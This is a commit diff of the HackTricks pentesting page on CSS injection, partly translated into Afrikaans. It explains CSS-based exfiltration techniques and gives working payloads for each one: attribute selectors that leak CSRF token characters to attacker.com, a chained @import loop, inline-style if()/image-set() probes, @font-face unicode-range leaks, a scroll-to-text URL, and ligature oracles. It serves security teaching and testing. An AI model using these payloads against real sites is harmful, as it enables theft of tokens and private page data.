Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']

2025-10-10 18:36:50 +00:00 · 2025-08-29 00:18:22 +00:00 · 2025-08-29 00:18:22 +00:00 · 4f993193d2
commit 4f993193d2
parent 8c800bd970
1 changed files with 152 additions and 110 deletions
--- a/src/pentesting-web/xs-search/css-injection/README.md
+++ b/src/pentesting-web/xs-search/css-injection/README.md
@ -1,12 +1,12 @@
-# CSS Inspuiting
+# CSS Injection

 {{#include ../../../banners/hacktricks-training.md}}

-## CSS Inspuiting
+## CSS Injection

-### Attribuut Selektor
+### Attribute Selector

-CSS selektore is ontwerp om waardes van 'n `input` element se `name` en `value` attribuut te pas. As die input element se value attribuut met 'n spesifieke karakter begin, word 'n vooraf gedefinieerde eksterne hulpbron gelaai:
+CSS selectors word ontwerp om ooreen te stem met die waardes van 'n `input`-element se `name` en `value` attribuutte. As die `value`-attribuut van die `input`-element begin met 'n spesifieke karakter, word 'n voorafbepaalde eksterne hulpbron gelaai:
 ```css
 input[name="csrf"][value^="a"] {
 background-image: url(https://attacker.com/exfil/a);
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
 background-image: url(https://attacker.com/exfil/9);
 }
 ```
-However, this benadering ondervind 'n beperking wanneer dit met versteekte invoerelemente (`type="hidden"`) te doen het, omdat versteekte elemente nie agtergronde laai nie.
+Hierdie benadering stuit egter op 'n beperking wanneer dit by versteekte input-elemente (`type="hidden"`) kom, omdat versteekte elemente nie agtergronde laai nie.

-#### Omseiling vir Versteekte Elemente
+#### Omseiling vir versteekte elemente

-Om hierdie beperking te omseil, kan jy 'n daaropvolgende suster-element teiken met behulp van die `~` algemene suster kombineerder. Die CSS-reël geld dan vir alle susters wat die versteekte invoerelement volg, wat veroorsaak dat die agtergrondbeeld laai:
+Om hierdie beperking te omseil, kan jy 'n daaropvolgende sibling-element teiken deur die `~` general sibling combinator te gebruik. Die CSS-reël pas dan toe op alle sibling-elemente wat op die versteekte input-element volg, wat veroorsaak dat die agtergrondbeeld gelaai word:
 ```css
 input[name="csrf"][value^="csrF"] ~ * {
 background-image: url(https://attacker.com/exfil/csrF);
 }
 ```
-'n Praktiese voorbeeld van die ontginning van hierdie tegniek word in die verskafde kode-snippet gedetailleerd. Jy kan dit [hier] (https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) sien.
+’n Praktiese voorbeeld van die uitbuiting van hierdie tegniek word in die verskafte kodefragment uiteengesit. Jy kan dit sien [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).

-#### Voorvereistes vir CSS-inspuiting
+#### Voorvereistes vir CSS Injection

-Vir die CSS-inspuitingstegniek om effektief te wees, moet sekere voorwaardes nagekom word:
+Vir die CSS Injection-tegniek om effektief te wees, moet sekere voorwaardes nagekom word:

-1. **Payload-lengte**: Die CSS-inspuitingsvektor moet voldoende lang payloads ondersteun om die vervaardigde selektore te akkommodeer.
-2. **CSS-herwaardering**: Jy moet die vermoë hê om die bladsy te raam, wat nodig is om die herwaardering van CSS met nuutgegenereerde payloads te aktiveer.
-3. **Buitelandse hulpbronne**: Die tegniek neem aan dat daar die vermoë is om buite-gasheerde beelde te gebruik. Dit mag beperk wees deur die webwerf se Inhoudsekuriteitsbeleid (CSP).
+1. **Payload Length**: Die CSS injection vektor moet voldoende lang payloads ondersteun om die vervaardigde selectors te akkommodeer.
+2. **CSS Re-evaluation**: Jy moet die vermoë hê om die bladsy te frame, wat nodig is om die her-evaluering van CSS met nuut-gegenereerde payloads te trigger.
+3. **External Resources**: Die tegniek gaan uit van die vermoë om externally hosted images te gebruik. Dit kan deur die webwerf se Content Security Policy (CSP) beperk word.

 ### Blind Attribute Selector

-Soos [**verduidelik in hierdie pos**](https://portswigger.net/research/blind-css-exfiltration), is dit moontlik om die selektore **`:has`** en **`:not`** te kombineer om inhoud selfs van blinde elemente te identifiseer. Dit is baie nuttig wanneer jy geen idee het wat binne die webblad is wat die CSS-inspuiting laai nie.\
-Dit is ook moontlik om daardie selektore te gebruik om inligting uit verskeie blokke van dieselfde tipe te onttrek, soos in:
+As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), is dit moontlik om die selectors **`:has`** en **`:not`** te kombineer om inhoud te identifiseer selfs van blind elemente.\
+Dit is ook moontlik om daardie selectors te gebruik om inligting te onttrek uit verskeie blokke van dieselfde tipe, soos in:
 ```html
 <style>
 html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -52,59 +52,95 @@ background: url(/m);
 <input name="mytoken" value="1337" />
 <input name="myname" value="gareth" />
 ```
-Die kombinasie van hierdie **@import** tegniek maak dit moontlik om baie **inligting te exfiltreer met CSS-inspuiting vanaf blinde bladsye met** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
+Deur dit te kombineer met die volgende **@import** tegniek, is dit moontlik om baie **inligting deur CSS injection vanaf blinde bladsye met** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**

 ### @import

-Die vorige tegniek het 'n paar nadele, kyk na die vereistes. Jy moet of in staat wees om **meervoudige skakels na die slagoffer te stuur**, of jy moet in staat wees om die **CSS-inspuiting kwesbare bladsy in 'n iframe te plaas**.
+Die vorige tegniek het 'n paar nadele — kyk na die prerequisites. Jy moet óf in staat wees om **meerdere skakels na die slagoffer te stuur**, óf jy moet in staat wees om die **CSS injection kwesbare bladsy te iframe**.

-Daar is egter 'n ander slim tegniek wat **CSS `@import`** gebruik om die kwaliteit van die tegniek te verbeter.
+Daar is egter nog 'n slim tegniek wat **CSS `@import`** gebruik om die kwaliteit van die tegniek te verbeter.

-Dit is eerste deur [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) gewys en dit werk soos volg:
+Dit is eers deur [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) getoon en dit werk soos volg:

-In plaas daarvan om dieselfde bladsy herhaaldelik met tientalle verskillende payloads te laai (soos in die vorige), gaan ons die **bladsy net een keer laai en net met 'n import na die aanvallers bediener** (dit is die payload om na die slagoffer te stuur):
+In plaas daarvan om dieselfde bladsy oor en oor te laai met tientalle verskillende payloads elke keer (soos in die vorige), gaan ons die **bladsy net een keer laai en slegs met 'n import na die aanvallers-bediener** (dit is die payload wat aan die slagoffer gestuur word):
 ```css
@import url("//attacker.com:5001/start?");
 ```
-1. Die invoer gaan **'n paar CSS-skripte** van die aanvallers ontvang en die **blaaier sal dit laai**.
-2. Die eerste deel van die CSS-skrip wat die aanvaller sal stuur, is **nog 'n `@import` na die aanvallers bediener weer.**
-1. Die aanvallers bediener sal nog nie op hierdie versoek reageer nie, aangesien ons 'n paar karakters wil lek en dan hierdie invoer met die payload wil antwoordgee om die volgende te lek.
-3. Die tweede en groter deel van die payload gaan **'n attribuutkeuse lek payload** wees.
-1. Dit sal die **eerste karakter van die geheim en die laaste** na die aanvallers bediener stuur.
-4. Sodra die aanvallers bediener die **eerste en laaste karakter van die geheim** ontvang het, sal dit **die invoer wat in stap 2 versoek is, antwoordgee**.
-1. Die antwoord gaan presies dieselfde wees as die **stappe 2, 3 en 4**, maar hierdie keer sal dit probeer om **die tweede karakter van die geheim en dan die voorlaaste** te vind.
+1. The import is going to **ontvang 'n CSS-skrip** from the aanvallers and the **blaaier sal dit laai**.
+2. The first part of the CSS script the attacker will send is **another `@import` to the attackers server again.**
+1. Die aanvallers se bediener sal hierdie versoek nog nie beantwoord nie, want ons wil eers 'n paar karakters leak en dan hierdie import beantwoord met die payload om die volgende te leak.
+3. The second and bigger part of the payload is going to be an **attribute selector leakage payload**
+1. Dit sal na die aanvallers se bediener stuur die **eerste karakter van die geheim en die laaste een**
+4. Zodra die aanvallers se bediener die **eerste en laaste karakter van die geheim** ontvang het, sal dit **die import wat in stap 2 versoek is beantwoord**.
+1. Die respons gaan presies dieselfde wees as die **stappe 2, 3 en 4**, maar hierdie keer sal dit probeer om die **tweede karakter van die geheim en dan die voorlaaste** te vind.

-Die aanvaller sal **daardie lus volg totdat dit daarin slaag om die geheim heeltemal te lek**.
+Die aanvaller sal **daardie lus volg totdat hy daarin slaag om die geheim heeltemal te leak**.

-Jy kan die oorspronklike [**Pepe Vila se kode om dit hier te benut**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) vind of jy kan amper die [**dieselfde kode maar kommentaar hier vind**.](#css-injection)
+You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)

-> [!NOTE]
-> Die skrip sal probeer om 2 karakters elke keer te ontdek (van die begin en van die einde) omdat die attribuutkeuse dinge soos die volgende toelaat:
+> [!TIP]
+> Die skrip sal probeer om elke keer 2 karakters te ontdek (van die begin en van die einde) omdat die attribute selector toelaat om dinge soos te doen:
 >
 > ```css
-> /* value^=  om die begin van die waarde te pas */
+> /* value^=  to match the beggining of the value*/
 > input[value^="0"] {
 >  --s0: url(http://localhost:5001/leak?pre=0);
 > }
 >
-> /* value$=  om die einde van die waarde te pas */
+> /* value$=  to match the ending of the value*/
 > input[value$="f"] {
 >  --e0: url(http://localhost:5001/leak?post=f);
 > }
 > ```
 >
-> Dit laat die skrip toe om die geheim vinniger te lek.
+> Dit laat die skrip toe om die geheim vinniger te leak.

 > [!WARNING]
-> Soms **detecteer die skrip nie korrek dat die voorvoegsel + agtervoegsel ontdek reeds die volledige vlag is** nie en dit sal voortgaan (in die voorvoegsel) en agtertoe (in die agtervoegsel) en op 'n sekere punt sal dit vassteek.\
-> Moet nie bekommerd wees nie, kyk net na die **uitset** omdat **jy die vlag daar kan sien**.
+> Soms sal die skrip **nie korrek herken dat die prefix + suffix wat ontdek is reeds die volledige vlag is nie** en dit sal vorentoe (in die prefix) en agtertoe (in die suffix) voortgaan en op 'n stadium sal dit vasloop.\
+> Moenie bekommerd wees nie — kyk net na die **uitset** want **jy kan die vlag daar sien**.

-### Ander keuses
+### Inline-Style CSS Exfiltration (attr() + if() + image-set())

-Ander maniere om DOM dele met **CSS keuses** te benader:
+This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

- **`.class-to-search:nth-child(2)`**: Dit sal die tweede item met die klas "class-to-search" in die DOM soek.
- **`:empty`** keuse: Gebruike byvoorbeeld in [**hierdie skrywe**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
+> [!WARNING]
+> Gelykheidsvergelykings in if() vereis dubbele aanhalingstekens vir stringliterale. Enkele aanhalingstekens sal nie ooreenstem nie.
+
+- Sink: beheer 'n element se style-attribuut en maak seker dat die teikenattribuut op dieselfde element is (attr() lees slegs dieselfde-element-attribuute).
+- Read: kopieer die attribuut na 'n CSS-variabele: `--val: attr(title)`.
+- Decide: kies 'n URL deur geneste conditionals te gebruik wat die veranderlike met stringkandidate vergelyk: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
+- Exfiltrate: pas `background: image-set(var(--steal))` (of enige fetching-eienskap) toe om 'n versoek na die gekose eindpunt af te dwing.
+
+Poging (werk nie; enkele aanhalingstekens in die vergelyking):
+```html
+<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
+```
+Werkende payload (dubbele aanhalingstekens vereis in die vergelyking):
+```html
+<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
+```
+Enumerasie van attribuutwaardes met geneste voorwaardes:
+```html
+<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
+```
+Realistiese demo (probing usernames):
+```html
+<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
+```
+Aantekeninge en beperkings:
+
+- Werk op Chromium-gebaseerde blaaiers ten tyde van die navorsing; gedrag kan op ander enjinne verskil.
+- Beste geskik vir eindige/uitputbare waarderuimtes (IDs, flags, short usernames). Om ewekansige lang stringe te steel sonder external stylesheets bly uitdagend.
+- Enige CSS-eienskap wat 'n URL opvra, kan gebruik word om die versoek te aktiveer (e.g., background/image-set, border-image, list-style, cursor, content).
+
+Automation: 'n Burp Custom Action kan nested inline-style payloads genereer om attribute values te brute-force: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
+
+### Ander selectors
+
+Ander maniere om toegang tot DOM-dele te kry met **CSS selectors**:
+
+- **`.class-to-search:nth-child(2)`**: Dit sal die tweede item met klas "class-to-search" in die DOM soek.
+- **`:empty`** selector: Gebruik byvoorbeeld in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**

 ```css
 [role^="img"][aria-label="1"]:empty {
@ -114,9 +150,9 @@ background-image: url("YOUR_SERVER_URL?1");

 ### Foutgebaseerde XS-Search

-**Verwysing:** [CSS gebaseerde Aanval: Misbruik van unicode-range van @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Foutgebaseerde XS-Search PoC deur @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
+**Verwysing:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)

-Die algehele bedoeling is om **'n pasgemaakte lettertipe van 'n beheerde eindpunt te gebruik** en te verseker dat **teks (in hierdie geval, 'A') slegs met hierdie lettertipe vertoon word as die gespesifiseerde hulpbron (`favicon.ico`) nie gelaai kan word nie**.
+Die algemene bedoeling is om **'n custom font from a controlled endpoint te gebruik** en te verseker dat **teks (in hierdie geval, 'A') met hierdie font vertoon word slegs as die gespesifiseerde hulpbron (`favicon.ico`) nie gelaai kan word nie**.
 ```html
 <!DOCTYPE html>
 <html>
@ -140,47 +176,47 @@ font-family: "poc";
 ```
 1. **Aangepaste Lettertipe Gebruik**:

- 'n Aangepaste lettertipe word gedefinieer met die `@font-face` reël binne 'n `<style>` tag in die `<head>` afdeling.
- Die lettertipe word `poc` genoem en word van 'n eksterne eindpunt (`http://attacker.com/?leak`) afgelaai.
- Die `unicode-range` eienskap is gestel op `U+0041`, wat die spesifieke Unicode karakter 'A' teiken.
+- ’n Aangepaste lettertipe word gedefinieer met die `@font-face` reël binne ’n `<style>`-tag in die `<head>`-afdeling.
+- Die lettertipe word `poc` genoem en word van ’n eksterne eindpunt opgehaal (`http://attacker.com/?leak`).
+- Die `unicode-range` eienskap is gestel op `U+0041`, wat die spesifieke Unicode-karakter 'A' teiken.

-2. **Objek Element met Terugvalteks**:
- 'n `<object>` element met `id="poc0"` word in die `<body>` afdeling geskep. Hierdie element probeer om 'n hulpbron van `http://192.168.0.1/favicon.ico` te laai.
- Die `font-family` vir hierdie element is gestel op `'poc'`, soos gedefinieer in die `<style>` afdeling.
- As die hulpbron (`favicon.ico`) nie kan laai nie, word die terugvalinhoud (die letter 'A') binne die `<object>` tag vertoon.
- Die terugvalinhoud ('A') sal met die aangepaste lettertipe `poc` gerender word as die eksterne hulpbron nie gelaai kan word nie.
+2. **Object-element met Fallback-tekst**:
+- ’n `<object>`-element met `id="poc0"` word in die `<body>`-afdeling geskep. Hierdie element probeer ’n hulpbron laai vanaf `http://192.168.0.1/favicon.ico`.
+- Die `font-family` vir hierdie element is gestel op `'poc'`, soos in die `<style>`-afdeling gedefinieer.
+- Indien die hulpbron (`favicon.ico`) misluk om te laai, word die fallback-inhoud (die letter 'A') binne die `<object>`-tag vertoon.
+- Die fallback-inhoud ('A') sal met die aangepaste lettertipe `poc` gerender word as die eksterne hulpbron nie gelaai kan word nie.

-### Stylisering Scroll-to-Teks Fragment
+### Stilisering van Scroll-to-Text Fragment

-Die **`:target`** pseudo-klas word gebruik om 'n element te kies wat geteiken word deur 'n **URL fragment**, soos gespesifiseer in die [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Dit is belangrik om te verstaan dat `::target-text` nie enige elemente pas nie tensy die teks eksplisiet deur die fragment geteiken word.
+Die **`:target`** pseudo-klas word gebruik om ’n element te kies wat deur ’n **URL-fragment** geteiken is, soos gespesifiseer in die [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Dit is belangrik om te verstaan dat `::target-text` nie by enige elemente pas nie tensy die teks eksplisiet deur die fragment geteiken word.

-'n Sekuriteitskwessie ontstaan wanneer aanvallers die **Scroll-to-tekst** fragment kenmerk misbruik, wat hulle in staat stel om die teenwoordigheid van spesifieke teks op 'n webblad te bevestig deur 'n hulpbron van hul bediener deur HTML-inspuiting te laai. Die metode behels die inspuiting van 'n CSS-reël soos hierdie:
+’n Sekuriteitsprobleem ontstaan wanneer aanvalers die **Scroll-to-text** fragment-funksie misbruik, wat hulle in staat stel om die aanwezigheid van spesifieke teks op ’n webblad te bevestig deur ’n hulpbron vanaf hul bediener te laai via HTML-inspuiting. Die metode behels die inspuiting van ’n CSS-reël soos hierdie:
 ```css
 :target::before {
 content: url(target.png);
 }
 ```
-In sulke scenario's, as die teks "Administrator" op die bladsy teenwoordig is, word die hulpbron `target.png` van die bediener aangevra, wat die teenwoordigheid van die teks aandui. 'n Voorbeeld van hierdie aanval kan uitgevoer word deur 'n spesiaal saamgestelde URL wat die ingeslote CSS saam met 'n Scroll-to-text fragment inkorporeer:
+In sulke scenario's, indien die teks "Administrator" op die bladsy teenwoordig is, word die hulpbron `target.png` vanaf die bediener aangevra, wat die teenwoordigheid van die teks aandui. 'n Voorbeeld van hierdie attack kan uitgevoer word deur 'n spesiaal saamgestelde URL wat die ingespuitde CSS saam met 'n Scroll-to-text fragment insluit:
 ```
 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
 ```
-Hier manipuleer die aanval HTML-inspuiting om die CSS-kode oor te dra, met die doel om die spesifieke teks "Administrator" deur die Scroll-to-text fragment (`#:~:text=Administrator`) te teiken. As die teks gevind word, word die aangeduide hulpbron gelaai, wat onbedoeld sy teenwoordigheid aan die aanvaller aandui.
+Hier manipuleer die aanval HTML injection om die CSS code oor te dra, gerig op die spesifieke teks "Administrator" deur die Scroll-to-text fragment (`#:~:text=Administrator`). As die teks gevind word, word die aangeduide hulpbron gelaai en dui dit onbedoeld sy teenwoordigheid aan die aanvaller.

-Vir versagting moet die volgende punte in ag geneem word:
+Vir mitigasie moet die volgende punte in ag geneem word:

-1. **Beperkte STTF-ooreenstemming**: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te ooreen te stem, wat sy vermoë om arbitrêre geheime of tokens te lek, beperk.
-2. **Beperking tot Top-niveau Bladsykontekste**: STTF werk slegs in top-niveau bladsykontekste en funksioneer nie binne iframes nie, wat enige poging tot uitbuiting meer opmerklik vir die gebruiker maak.
-3. **Noodsaaklikheid van Gebruikeraktivering**: STTF vereis 'n gebruiker-aktiveringsgebaar om te werk, wat beteken dat uitbuitings slegs deur gebruiker-geïnisieerde navigasies moontlik is. Hierdie vereiste verminder aansienlik die risiko dat aanvalle geoutomatiseer word sonder gebruikersinteraksie. Nietemin, die blogpos se skrywer wys op spesifieke toestande en omseilings (bv. sosiale ingenieurswese, interaksie met algemene blaaiers uitbreidings) wat die outomatisering van die aanval kan vergemaklik.
+1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te pas, en beperk daarmee sy vermoë om arbitrêre secrets of tokens te leak.
+2. **Restriction to Top-level Browsing Contexts**: STTF werk slegs in top-level browsing contexts en funksioneer nie binne iframes nie, waardeur enige exploitation attempt meer sigbaar vir die gebruiker word.
+3. **Necessity of User Activation**: STTF vereis 'n user-activation gesture om te werk, wat beteken dat exploitations slegs deur user-initiated navigations moontlik is. Hierdie vereiste verminder aansienlik die risiko dat attacks sonder gebruikersinteraksie geoutomatiseer word. Die blog post se outeur wys egter op spesifieke toestande en bypasses (bv. social engineering, interaksie met algemene browser extensions) wat die automatisering van die attack kan vergemaklik.

-Bewustheid van hierdie meganismes en potensiële kwesbaarhede is sleutel tot die handhawing van websekuriteit en die beskerming teen sulke uitbuitings taktieke.
+Bewustheid van hierdie meganismes en potensiële kwesbaarhede is noodsaaklik om websekuriteit te handhaaf en teen sulke uitbuitende taktieke te beskerm.

-Vir meer inligting, kyk na die oorspronklike verslag: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
+For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)

-Jy kan 'n [**uitbuiting wat hierdie tegniek vir 'n CTF gebruik hier**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb) kyk.
+You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).

 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>

-Jy kan **eksterne lettertipes vir spesifieke unicode waardes spesifiseer** wat slegs **versamel sal word as daardie unicode waardes in die bladsy teenwoordig is**. Byvoorbeeld:
+Jy kan **eksterne lettertipes vir spesifieke unicode-waardes** spesifiseer wat slegs **opgelaai sal word as daardie unicode-waardes in die bladsy teenwoordig is**. Byvoorbeeld:
 ```html
 <style>
@font-face {
@ -206,24 +242,24 @@ font-family: poc;
 <p id="sensitive-information">AB</p>
 htm
 ```
-Wanneer jy hierdie bladsy toegang, laai Chrome en Firefox "?A" en "?B" omdat die teksnode van sensitiewe-inligting "A" en "B" karakters bevat. Maar Chrome en Firefox laai nie "?C" nie omdat dit nie "C" bevat nie. Dit beteken dat ons in staat was om "A" en "B" te lees.
+Wanneer jy hierdie bladsy besoek, haal Chrome en Firefox "?A" en "?B" op omdat die text node van sensitive-information die karakters "A" en "B" bevat. Maar Chrome en Firefox haal nie "?C" op nie omdat dit nie "C" bevat. Dit beteken dat ons "A" en "B" kon lees.

-### Teksnode eksfiltrasie (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
+### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>

-**Verwysing:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
+**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)

-Die tegniek wat beskryf word, behels die onttrekking van teks uit 'n node deur font ligatures te benut en veranderinge in breedte te monitor. Die proses behels verskeie stappe:
+Die beskrywe tegniek behels die onttrekking van teks uit 'n node deur font ligatures te misbruik en veranderinge in breedte te monitor. Die proses bestaan uit verskeie stappe:

-1. **Skep van Aangepaste Fonts**:
+1. **Creation of Custom Fonts**:

- SVG fonts word gemaak met glyphs wat 'n `horiz-adv-x` attribuut het, wat 'n groot breedte vir 'n glyph wat 'n twee-karakter volgorde verteenwoordig, stel.
+- SVG fonts word vervaardig met glyphs wat 'n `horiz-adv-x` attribuut het, wat 'n groot breedte vir 'n glyph wat 'n twee-karakter volgorde voorstel, instel.
 - Voorbeeld SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, waar "XY" 'n twee-karakter volgorde aandui.
- Hierdie fonts word dan na woff-formaat omgeskakel met fontforge.
+- Hierdie fonts word dan na woff formaat omskep met fontforge.

-2. **Detectie van Breedte Veranderinge**:
+2. **Detection of Width Changes**:

- CSS word gebruik om te verseker dat teks nie wrap nie (`white-space: nowrap`) en om die scrollbar styl aan te pas.
- Die verskyning van 'n horisontale scrollbar, wat duidelik gestileer is, dien as 'n aanduiding (oracle) dat 'n spesifieke ligature, en dus 'n spesifieke karakter volgorde, in die teks teenwoordig is.
+- CSS word gebruik om te verseker dat teks nie ombreek nie (`white-space: nowrap`) en om die scrollbar-styl aan te pas.
+- Die verskyning van 'n horisontale scrollbar, gestileer op 'n kenmerkende manier, dien as 'n indikator (oracle) dat 'n spesifieke ligature, en dus 'n spesifieke karakterreeks, in die teks teenwoordig is.
 - Die betrokke CSS:
 ```css
 body {
@ -237,30 +273,30 @@ background: url(http://attacker.com/?leak);
 }
 ```

-3. **Eksploit Proses**:
+3. **Exploit Process**:

- **Stap 1**: Fonts word geskep vir pare van karakters met substansiële breedte.
- **Stap 2**: 'n Scrollbar-gebaseerde truuk word gebruik om te detecteer wanneer die groot breedte glyph (ligature vir 'n karakter paar) gerender word, wat die teenwoordigheid van die karakter volgorde aandui.
- **Stap 3**: By die opsporing van 'n ligature, word nuwe glyphs wat drie-karakter volgordes verteenwoordig, gegenereer, wat die opgespoorde paar insluit en 'n voorafgaande of opvolgende karakter byvoeg.
- **Stap 4**: Opsporing van die drie-karakter ligature word uitgevoer.
- **Stap 5**: Die proses herhaal, wat progressief die hele teks onthul.
+- **Step 1**: Fonts word geskep vir pare karakters met groot breedte.
+- **Step 2**: 'n scrollbar-gebaseerde truuk word gebruik om te ontdek wanneer die groot-breedte glyph (ligature vir 'n karakterpaar) gerender word, wat aandui dat die karakterreeks teenwoordig is.
+- **Step 3**: Nadat 'n ligature gedetecteer is, word nuwe glyphs gegenereer wat drie-karakter reekse voorstel, deur die gedeteekte paar te inkorporeer en 'n voorafgaande of volgende karakter by te voeg.
+- **Step 4**: Die drie-karakter ligature word gedetecteer.
+- **Step 5**: Die proses herhaal, en ontbloot stelselmatig die volledige teks.

-4. **Optimalisering**:
- Die huidige inisialisasiemetode wat `<meta refresh=...` gebruik, is nie optimaal nie.
- 'n Meer doeltreffende benadering kan die CSS `@import` truuk insluit, wat die prestasie van die eksploitasie verbeter.
+4. **Optimization**:
+- Die huidige initsialisasiemetode wat `<meta refresh=...` gebruik, is nie optimaal nie.
+- 'n Meer doeltreffende benadering kan die CSS `@import` truuk insluit, wat die exploit se prestasie verbeter.

-### Teksnode eksfiltrasie (II): lek die charset met 'n standaard font (nie eksterne bates benodig nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

-**Verwysing:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
+**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)

-Hierdie truuk is vrygestel in hierdie [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Die charset wat in 'n teksnode gebruik word, kan gelek word **met die standaard fonts** wat in die blaaier geïnstalleer is: geen eksterne -of aangepaste- fonts is nodig nie.
+Hierdie truuk is vrygestel in hierdie [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Die charset wat in 'n text node gebruik word, kan be-leak word **using the default fonts** geïnstalleer in die browser: geen eksterne of custom fonts is nodig nie.

-Die konsep draai om die gebruik van 'n animasie om 'n `div` se breedte geleidelik uit te brei, wat een karakter op 'n slag toelaat om van die 'suffix' deel van die teks na die 'prefix' deel oor te gaan. Hierdie proses verdeel die teks effektief in twee afdelings:
+Die konsep draai om die gebruik van 'n animasie om die breedte van 'n `div` stapsgewys te vergroot, wat een karakter op 'n slag toelaat om van die 'suffix' deel van die teks na die 'prefix' deel oor te gaan. Hierdie proses split die teks effektief in twee gedeeltes:

-1. **Prefix**: Die aanvanklike lyn.
-2. **Suffix**: Die daaropvolgende lyn(e).
+1. Prefix: Die aanvanklike reël.
+2. Suffix: Die daaropvolgende reël(e).

-Die oorgangstadia van die karakters sou soos volg verskyn:
+Die oorgangsfases van die karakters sal soos volg verskyn:

 **C**\
 ADB
@ -273,15 +309,15 @@ B

 **CADB**

-Tydens hierdie oorgang word die **unicode-range truuk** gebruik om elke nuwe karakter te identifiseer soos dit by die prefix aansluit. Dit word bereik deur die font na Comic Sans te verander, wat merkbaar hoër is as die standaard font, wat gevolglik 'n vertikale scrollbar aktiveer. Die verskyning van hierdie scrollbar onthul indirek die teenwoordigheid van 'n nuwe karakter in die prefix.
